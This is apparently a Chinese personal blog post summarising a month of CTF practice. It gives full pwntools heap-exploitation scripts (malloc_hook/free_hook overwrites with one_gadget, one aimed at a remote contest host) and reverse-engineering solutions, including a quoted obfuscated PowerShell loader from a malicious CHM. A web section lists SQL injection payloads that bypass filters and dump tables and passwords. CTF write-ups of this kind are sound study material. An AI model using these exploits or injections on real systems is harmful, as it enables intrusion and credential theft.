menu 牢记自己是菜
十二月总结篇
2531 浏览 | 2021-01-02 | 阅读时间: 约 6 分钟 | 分类: ctf二进制每周学习 | 标签:
请注意,本文编写于 1210 天前,最后修改于 1210 天前,其中某些信息可能已经过时。

0x1 前言

12月过的是个昏天黑地,神游了一整个月。手上一大堆要写的题目,但是有没有很好的知识点将他们连起来。于是就学鼎哥来一个十二月的总结篇吧。说白了就是一个没有主题的大杂烩,啥题都往上丢的那种。

这个月初,开始疯狂学堆,和二进制文件紧急修复,写了好多博客。一去上海的线下赛,被揍得连妈都不认识了,程序无论怎么修都过不了check。索性回来让之前的博客全部消失了,之后应该也不会再有了。

前几天来了一群“龙组”的师傅们,我就问了问他们二进制紧急修复到底有什么用,这可能是我12月最好奇的问题之一了。

师傅和我讲,是所有的杀毒软件,为了控制本机程序,都会在你原有的程序上加hook,这时候就必须直接更改二进制文件了,没有源码可以让我们改。

学的东西挺多的,但是也挺凌乱的。我尽量规整一下。

0x2 PWN

12月猛学了一整子pwn,发现pwn比RE有趣,后面就慢慢的向两个方向发展吧。毕竟最近的一场XCTF,有一个二进制师傅,一个人单人打穿了所有的PWN和RE。

cumt岁末赛 pwn3

拿到题目首先IDA进行分析,发现在show函数中的调用函数的函数是一个地址,这里可以产生任意执行函数的漏洞。

然后再删除函数中发现没有free干净。

基本利用思路,控制申请堆块的大小,将一个新堆快的内容申请至前一个没有释放干净的结构体的头部,覆盖。然后show这个堆即可。

exp:

from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level = "debug"
 
elf = ELF("./pwn3")
#p = remote('219.219.61.234',10002)
p = process("./pwn3")
print('whyyds')

def add(size,content):    #7
    p.sendlineafter(':','1')
    p.sendlineafter(':',str(size))
    p.sendlineafter(':',content)
    
def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter(':',str(index))

def free(index):        #3
    p.sendlineafter(':','2')
    p.sendlineafter('\n',str(index))

def exit():        #3
    p.sendlineafter(':','4')

backdoor=0x08048986
add(0x30,"A"*0x10)
add(0x30,"A")
add(0x30,"A")
add(0x30,"A")
free(0)
free(1)
payload=p32(backdoor)
add(0x8,payload)
gdb.attach(p)
show(0)
#gdb.attach(p)
p.interactive()

cumt岁末赛 pwn5

IDA观察程序,找到漏洞点,一个单字节溢出。

我们可以尝试unsortedbin attack。

我们成功的将一个字节溢出到了下一个结构体的size处。此时释放掉一号块,我们就得到了Main_Arena的基址。

并且制造了连个堆的重叠,此时我们只要申请更大的堆,程序就会在unsorted中划分结构体,将内容堆块分配到下方。

此时我们可以通过修改3号堆块,完成程序的任意写。写入one_gadget即可。

from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level = "debug"
 
elf = ELF("./pwn5")
#p = remote('219.219.61.234',10004)
p = process("./pwn5")


def add(size,content):    #7
    p.sendlineafter(':','1')
    p.sendlineafter('Size:',str(size))
    p.sendlineafter('Content: ',content)

def edit(index,content):
    p.sendlineafter(':','2')
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)

def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter('Index: ',str(index))

def free(index):        #3
    p.sendlineafter(':','4')
    p.sendlineafter('Index: ',str(index))

def exit():        #3
    p.sendlineafter(':','5')

add(0x28,'\n') #0
add(0x20,'\n') #1
add(0x68,'\n') #2
add(0x20,'\n') #3
payload = '\x00'*0x28 + '\xE1'
edit(0,payload)
free(1)
gdb.attach(p)
add(0x40,'\n') #1
show(2)
main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88
log.success('Main_Arena:\t' + hex(main_arena))
libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10)
malloc_hook = libcbase + libc.symbols['__malloc_hook']
log.success('Malloc_Hook:\t' + hex(malloc_hook))
realloclib = libc.symbols['__libc_realloc']
realloc = libcbase + realloclib+13
one_gadget = libcbase + 0x4527a
log.success('realloc:\t' + hex(realloc))
log.success('one_gadget:\t' + hex(one_gadget))
payload1 = p64(0x60)+p64(malloc_hook-0x23)
add(0x60,'\n') #4 ->2
edit(2,payload1)
edit(4,"aaa"+p64(0)*3+p64(one_gadget)+p64(realloc))
p.sendlineafter(':','1')
p.interactive()

cumt岁末赛 pwn6

IDA分析程序,发现漏洞在read读取处,当没有读满时,会多读一个/x0a,读满时会产生字节溢出。

并且在free的时候还存在悬指针。

利用思路与pwn5基本一致,唯一的区别是在大小与分配的堆块序号处加了一层限制。按照堆块要求分配即可。堆块序之会影响bss段处的地址,注意一下即可。

最后我们可以通过one_gadget覆盖freehook的地址,free一下即可。

from pwn import *
#sh = process('./pwn6')
sh = remote('219.219.61.234',10003)
context.log_level = 'info'
libc = ELF('libc-2.23.so')
context.log_level = 'debug'

def add(idx,size,content):
    sh.recvuntil(">> ")
    sh.sendline("1")
    sh.recvuntil(">> ")
    sh.sendline(str(idx))
    sh.recvuntil(">> ")
    sh.sendline(str(size))
    sh.recvuntil(">> ")
    sh.sendline(str(content))


def delete(idx):
    sh.recvuntil(">> ")
    sh.sendline('2')
    sh.recvuntil(">> ")
    sh.sendline(str(idx))

def edit(idx,content):
    sh.recvuntil(">> ")
    sh.sendline("3")
    sh.recvuntil(">> ")
    sh.sendline(str(idx))
    sh.recvuntil(">> ")
    sh.sendline(str(content))

def show(idx):
    sh.recvuntil(">> ")
    sh.sendline('5')
    sh.recvuntil(">> ")
    sh.sendline(str(idx))
    
mes = 8 * '0' + '\x90' + 7 * '0'
sh.sendline(str(mes))
sh.recvuntil(">> ")
sh.sendline('2')

add(0,0x130, '')
add(1,0x88, '')
delete(0)
add(2,0x88,'aaaaaaa')
show(2)
sh.recv(8)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4ca8
free_addr = libc_base + libc.sym['__free_hook']
malloc_addr = libc_base + libc.sym['__malloc_hook']
log.success(hex(free_addr))

add(3,0x98,'aaa')
add(4,0x98,'aaa')
add(5,0x98,'aaa')
add(6,0x98,'aaa')
add(7,0x98,'aaa')

edit(2,0x88 * 'a' + '\xb1')
delete(3)
add(8,0x88,'aaa')
payload1 = 0x20 * 'a' + '\x98' + 7 * '\x00' + p64(free_addr)
edit(8,payload1)
one_addr = libc_base + 0x4527a
payload2 = p64(one_addr)
edit(4,payload2)
delete(4)
sh.interactive()

0x3 RE

XCTF----crash

这道题目是楠师傅做的,但是充满了奇幻色彩。以至于我要是没坐在她旁边,我都会觉得是她py的flag,就很离谱。但是这道题的源码应该会比较有意思,之后好好研究一下,看看能不能实现字符串与地址的分离。

找到可疑逻辑,猜测其用处是输出字符串

找到比较strings逻辑,在线MD5解密。

发现所有md5都是可以网上在线出结果的,带入关键逻辑尝试。

a='bo&tn&o#~{c|vut.yb& y|\'\'s.v|gg `'
flag=''
for i in a:
    print(i,ord(i))
    flag+=chr(ord(i)^0x17)
print(len(flag))
print(flag)

得到flag。

XCTF----re123

这道题的思路还是蛮有趣的,应该算是在chm文件里面藏病毒吧。之前有一道web题目与他很像,这里放上链接

chm 是微软新一代的帮助文件格式,利用 HTML 作源文,把帮助内容以类似数据库的形式编译储存。CHM 支持 Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件 ( GIF、JPEG、PNG )、音频视频文件 ( MID、WAV、AVI ) 等等,并可以通过 URL 与 Internet 联系在一起。14 年的时候 @ithurricanept 在 twitter 上发了一个 demo ,通过 CHM 运行计算器。

回到本题,我们首先可以使用hh.exe(微软自带的一个chm软件)将他反编译成html的形式。其中以一个HTML形式十分的有趣,应该就是我们的恶意代码。

上方明显是一段powershell的命令行,下方则是一段base64.我们把base64进行解码得到:

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('TY5BC4IwGIbvgv9hjB2McJhEhNChJMGTkN2qg7qvFHQT/bL575vpoV2/53n2skJJBInkQG5xwqOqhkcQXCATx7q+gkaHsvYj7kIVvCgburItVgm9MTxbVB5LATp5OlQvb6IMV0LdQvdPpu+8x66SL2eOrMl+Ck7naUA69ggND5UcoEOzI+pUc8p62G3TRZubv34K6IbLespADoGR27vv+R7HpqXzt8Q9y0IJI5N8RLCtLw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

再次解码:

他会读取一个文件夹,并且生成一个文件,而文件是一个没有头的dll。补头,IDA反编译。

发现算法是个AES,后来听师傅说这里是一个AES128。emmmmAES居然还分种类,对不起密码学老师。

AES128和AES256主要区别是密钥长度不同(分别是128bits,256bits)、加密处理轮数不同(分别是10轮,14轮),后者强度高于前者。当前AES是较为安全的公认的对称加密算法。

后面解密就可以得到flag了。

这里师傅那里提到了一种dll的调试方法,我还没有复现。抽空好好研究一下。之后稍微的研究一下shell脚本的用法,看自己能不能实现一个和他功能类似的小病毒程序。最近要考试先咕咕咕了。

XCTF-----puzzle

IDA 7.5实在是太香了,mips32的程序是可以直接反汇编的。程序逻辑还是蛮清楚的,有点类似我们小时候玩过的一个拼图游戏(就是那个纸板机上的)。3*3的方格,我们控制一块白色的拼图,只能和上下左右进行换位,最终生成一块完整的拼图。

师傅告诉我这其实是一种算法,叫做八数码问题。网上有轮子可疑直接跑出结果:

#include<iostream>
#include<stdio.h>
#include<cmath> 
using namespace std;

int open_cnt = 0;
int open_node_cnt;//open表节点个数 
int close_cnt = 0;
int noresoult = 0;
struct Node {
    int a[3][3];
    int x, y;
    int f, g, h;
    int flag; //上一次移动方向 
    Node *father;
}start, End;
struct Open_Close {
    int f;
    Node *np;
}open[10000], close[10000];
bool isable() {//判断是否有解,逆序数之和奇偶性相同,有解
    int s[9], e[9];
    int tf = 0, ef = 0;
    int k = 0;
    for (int i = 0; i<3; i++) {
        for (int j = 0; j<3; j++) {
            s[k] = start.a[i][j];
            e[k] = End.a[i][j];
            k++;
        }
    }
    for (int i = 0; i<9; i++) {
        for (int j = 0; j<i; j++) {
            if (s[i]>s[j] && s[j] != 0) tf += 1;
            if (e[i]>e[j] && e[j] != 0) ef += 1;
        }
    }
    if ((tf % 2 == 1 && ef % 2 == 1) || (tf % 2 == 0 && ef % 2 == 0)) return true;
    else return false;
}
int a_start_h(Node *node) {  //求 h() 
    int old_x, old_y, End_x, End_y;
    int h = 0;
    for (int k = 1; k<9; k++) {
        for (int i = 0; i<3; i++) {
            for (int j = 0; j<3; j++) {
                if (node->a[i][j] == k) {  //相应开始点的下表
                    old_x = i;
                    old_y = j;
                }
                if (End.a[i][j] == k) {   //相应目标的结点下标
                    End_x = i;
                    End_y = j;
                }
            }
        }
        h += abs(old_x - End_x) + abs(old_y - End_y); //计算h
    }
    return h;
}
void input() {               //输入 
    cout << "=====输入起始图====="<<endl;
    for (int i = 0; i<3; i++) {
        for (int j = 0; j<3; j++) {
            cin >> start.a[i][j];
            if (start.a[i][j] == 0) {
                start.x = i;
                start.y = j;
            }
        }
    }
    cout << endl;
    cout << "=====输入目标图====="<<endl;
    for (int i = 0; i<3; i++) {
        for (int j = 0; j<3; j++) {
            cin >> End.a[i][j];
            if (End.a[i][j] == 0) {
                End.x = i;
                End.y = j;
            }
        }
    }
    cout << endl;
    start.g = 0;
    start.h = a_start_h(&start);
    start.f = start.g + start.h;
}
int show(Node *node) {               //显示 
    Node *p = node;
    if (p == &start) return 1;
    else show(p->father);
    cout << "==============\n";
    for (int i = 0; i<3; i++) {
        for (int j = 0; j<3; j++) {
            cout << p->a[i][j] << " ";
        }
        printf("\n");
    }
    cout << "==============\n\n";
}


bool isend(Node *node) {         //判断是否为目标节点 
    for (int i = 0; i<3; i++) {
        for (int j = 0; j<3; j++) {
            if (node->a[i][j] != End.a[i][j])
                return false;
        }
    }
    return true;
}


void sort(Open_Close *open) {      //open表排序 
    int min = 99999, min_flag = 0;
    Open_Close temp;
    for (int i = 0; i <= open_cnt; i++) {      
        if (min>open[i].f&&open[i].f>0) {
            min = open[i].f;
            min_flag = i;
        }
    }
    temp = open[min_flag];            
    open[min_flag] = open[0];
    open[0] = temp;
}



void move(int flag, Node *node) {   //向四个方向扩展 
    int temp;
    if (flag == 1 && node->x>0) {     //turn left
        Node *n = new Node();
        for (int i = 0; i<3; i++) {
            for (int j = 0; j<3; j++) {
                n->a[i][j] = node->a[i][j];
            }
        }
        n->a[node->x][node->y] = node->a[node->x - 1][node->y];
        n->a[node->x - 1][node->y] = 0;
        n->x = node->x - 1;
        n->y = node->y;
        n->flag = 3;
        n->father = node;
        n->g = node->g + 1;             //  求 g() 
        n->h = a_start_h(n);
        n->f = n->g + n->h;  //  求 f() 
        open_cnt++;
        open_node_cnt++;
        open[open_cnt].np = n;        //添加到open表
        open[open_cnt].f = n->f;  
    }

    else if (flag == 2 && node->y<2) {     //go up
        Node *n = new Node();
        for (int i = 0; i<3; i++) {
            for (int j = 0; j<3; j++) {
                n->a[i][j] = node->a[i][j];
            }
        }
        n->a[node->x][node->y] = node->a[node->x][node->y + 1];
        n->a[node->x][node->y + 1] = 0;
        n->x = node->x;
        n->y = node->y + 1;
        n->flag = 4;
        n->father = node;
        n->g = node->g + 1;             //  求 g() 
        n->h = a_start_h(n);
        n->f = n->g + n->h;            //  求 f()
        open_cnt++;
        open_node_cnt++;
        open[open_cnt].np = n;        //添加到open表
        open[open_cnt].f = n->f;   
    }
    else if (flag == 3 && node->x<2) {    //turn right
        Node *n = new Node();
        for (int i = 0; i<3; i++) {
            for (int j = 0; j<3; j++) {
                n->a[i][j] = node->a[i][j];
            }
        }
        n->a[node->x][node->y] = node->a[node->x + 1][node->y];
        n->a[node->x + 1][node->y] = 0;
        n->x = node->x + 1;
        n->y = node->y;
        n->flag = 1;
        n->father = node;
        n->g = node->g + 1;             //  求 g() 
        n->h = a_start_h(n);
        n->f = n->g + n->h;//  求 f()
        open_cnt++;
        open_node_cnt++;
        open[open_cnt].np = n;        //添加到open表
        open[open_cnt].f = n->f;   
    }
    else if (flag == 4 && node->y>0) {    //go down
        Node *n = new Node();
        for (int i = 0; i<3; i++) {
            for (int j = 0; j<3; j++) {
                n->a[i][j] = node->a[i][j];
            }
        }
        n->a[node->x][node->y] = node->a[node->x][node->y - 1];
        n->a[node->x][node->y - 1] = 0;
        n->x = node->x;
        n->y = node->y - 1;
        n->flag = 2;
        n->father = node;
        n->g = node->g + 1;             //  求 g() 
        n->h = a_start_h(n);
        n->f = n->g + n->h;//  求 f() 
        open_cnt++;
        open_node_cnt++;
        open[open_cnt].np = n;        //添加到open表
        open[open_cnt].f = n->f;  
    }
}
void expand(Node *node) {    //节点扩展    
    for (int i = 1; i<5; i++) {
        if (i != node->flag) move(i, node);
    }
}


int main() {
    input();
    open[0].np = &start;//start放入open表            
    open_node_cnt = 1;
    if (isable()) {
        while (true) {//open表不为空 
            if (isend(open[0].np)) {
                cout << "\n路径:\n";
                show(open[0].np);
                cout << open[0].np->g << endl;
                break;
            }
            expand(open[0].np);//扩展最优节点的子节点 
            open[0].np = NULL;
            open[0].f = -1;
            open_node_cnt--;
            sort(open);   //open表排序
        }
    }
    else cout << "无解";
    system("pause");
    return(0);
}

最后需要将这个结果base64(换表)加密一下,让程序解密完得到884226886224488即可。

XCTF-----mips

迷宫题,MIPS架构,可以使用IDA7.5直接反编译。

提取关键地图代码,根据初始化函数得出地图大小15*15,只能通过1,开始位置为3,终点为4。

导出地图:

1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 
1 1 1 1 1 0 3 0 1 0 0 0 0 0 0
1 1 1 1 1 0 1 0 1 0 0 0 0 0 0
1 1 1 1 1 0 1 0 1 0 0 0 0 0 0
1 1 1 1 1 0 1 0 1 1 1 1 1 0 0
1 1 1 1 1 0 1 0 0 0 0 0 1 0 0
1 1 1 1 1 0 1 0 0 0 0 0 1 0 0
1 1 1 1 1 0 1 0 0 0 0 0 1 1 0
1 1 1 1 1 0 1 1 1 1 1 1 1 1 0
1 1 1 1 1 0 0 0 0 0 0 0 0 4 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

1 1 0 0 0 0 0 0 0 0 0 0 0 0 0
1 1 0 3 0 1 1 1 1 0 0 0 0 0 0
1 1 0 1 0 0 0 0 1 0 0 0 0 0 0
1 1 0 1 0 0 0 0 1 0 0 0 0 0 0
1 1 0 1 1 0 0 0 1 1 1 1 1 0 0
1 1 0 1 1 0 0 0 0 0 0 0 1 0 0
1 1 0 1 1 0 0 0 0 0 0 0 1 0 0
1 1 0 1 1 0 0 0 0 0 1 1 1 1 0
1 1 0 1 1 0 0 0 0 0 1 0 0 1 0
1 1 0 1 1 0 0 0 0 0 1 0 0 0 0
1 1 0 1 1 1 1 1 1 0 1 0 1 1 0
1 1 0 1 1 1 1 1 1 1 1 1 1 1 0
1 1 0 0 0 0 0 0 0 0 0 0 0 4 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 3 1 1 0 0 0 0 0 0 0 0 0 0 0
0 0 0 1 0 1 1 1 0 0 0 0 0 0 0
0 0 0 1 1 1 0 1 0 0 0 0 0 0 0
0 0 0 0 1 0 0 1 0 0 0 0 0 0 0
0 1 1 0 1 0 0 1 0 0 0 0 0 0 0
0 0 1 1 1 0 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 1 1 1 1 0 0 0 0
0 0 0 0 0 0 0 0 0 0 1 0 0 0 0
0 0 0 0 0 0 0 0 0 0 1 0 0 0 0
0 0 0 0 0 0 0 0 0 0 1 0 0 0 0
0 0 0 0 0 0 0 0 0 0 1 1 1 1 0
0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
0 0 0 0 0 0 0 0 0 0 0 0 0 4 0

手动走出,md5即可获得flag

XCTF-----pypy

查看特征py编译的exe

找到python3.8的PyInstallerutilscliutils

执行 python archive_viewer.py main

其次

? x main
to filename? main.pyc
? x struct
to filename? struct.pyc

然后用十六进制编辑器打开,将struct.pyc的第一行复制到main.pyc即可

然后执行uncompyle6 -o main.py main.pyc

即得到python代码,python代码主要是一个贪吃蛇的游戏,但是获得的flag为一个假flag。关键逻辑是一个RC4加密,提取关键函数与密钥。

由于RC4是序列密码,所以我们可以采取爆破的方式一位一位的确定flag。

DEFAULT_KEY = u'Y\xf3\x02\xc3%\x9a\x820\x0b\xbb%\x7f~;\xd2\xdc'
def rc4(k, key=DEFAULT_KEY, skip=1024):
    L = 0
    M = bytearray([N for N in range(256)])
    L = 0
    for O in range(256):
        L = (L + M[O] + ord(key[(O % len(key))])) % 256
        P = M[O]
        Q = M[L]
        M[O] = M[L]
        M[L] = P

    L = 0
    R = 0
    S = []
    if skip > 0:
        for O in range(skip):
            L = (L + 1) % 256
            R = (R + M[L]) % 256
            M[L], M[R] = M[R], M[L]

    for T in k:
        L = (L + 1) % 256
        R = (R + M[L]) % 256
        M[L], M[R] = M[R], M[L]
        U = M[((M[L] + M[R]) % 256)]
        S.append(chr(ord(T) ^ U))

    return ''.join(S)
#275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0
B=[]
list1="1234567890-abcdefghijklmnopqrstuvwxyz{}ABCDEFGHIJKLMNOPQRSTUVWXYZ_"
flag="flag{snake_bao_is_really_lucky}"
for i in list1:
    flag1=flag+i
    W = rc4(flag)
    print(i+":"+W.encode('utf-8').hex())

最终得到flag。

0x4 WEB

对你没有看错,我这个月居然还做了一点点web题目。

1.[强网杯 2019]随便注

  • 探测有无注入
1' and 1=1#  正常且为True
1' and 1=2#  正常且为False
  • 尝试获取列数
1' order by 1#
1' order by 2#
1' order by 3#  报错

得出列数为2

由于过滤了select,我们没法查询表,我们可以选择利用堆叠注入绕过过滤。

  • 利用堆叠注入绕过过滤
-1';show tables#
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

找到了两张表,我们一个一个看。

-1';show columns from `1919810931114514`#

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

-1';show columns from `words`#
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
  • 这里需要绕过select的限制,我们可以使用预编译的方式。

相关语法:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

生成payload=-1';set @sql = CONCAT('se','lect * from 1919810931114514;');prepare stmt from @sql;EXECUTE stmt;#

2.[SUCTF 2019]EasySQL

尝试 ' or '1'='1 发现有waf,会返回错误的结果。

尝试 1;show databases; 会发现返回了所有表项,说明有堆叠注入。

  1. 任意查询:*,1

此时查询语句:

$sql = "select ".$post['query']."||flag from Flag";
此时构成的语句应该为:"select '*,1'||flag from Flag'
  1. 操作符重置法 set sql_mode=PIPES_AS_CONCAT;

此时查询语句

$sql = "select ".$post['query']."||flag from Flag";
此时构成的语句应该为:"select '1;set sql_mode=PIPES_AS_CONCAT;select 1'||flag from Flag'

3.[极客大挑战 2019]LoveSQL

尝试使用 admin ' or '1' = '1' #进行注入。发现可以成功登录,返回admin的密码

尝试使用 admin 'order by 4 # 进行注入,当进行到4的时候发生了报错,说明表一共有3列。

尝试使用 1' union select 1,2,3 # 联合注入的形式确认回显位置

尝试使用1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 查询所有表项

尝试使用 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' # 查询每个表中的列名

使用 1' union select 1,2,group_concat(password) from l0ve1ysq1#查出所有在这个表中的密码。

发表评论

email
web

全部评论 (共 1 条评论)

    Ld1ng
    2021-01-02 21:12
    炜哥写总结了,爷青回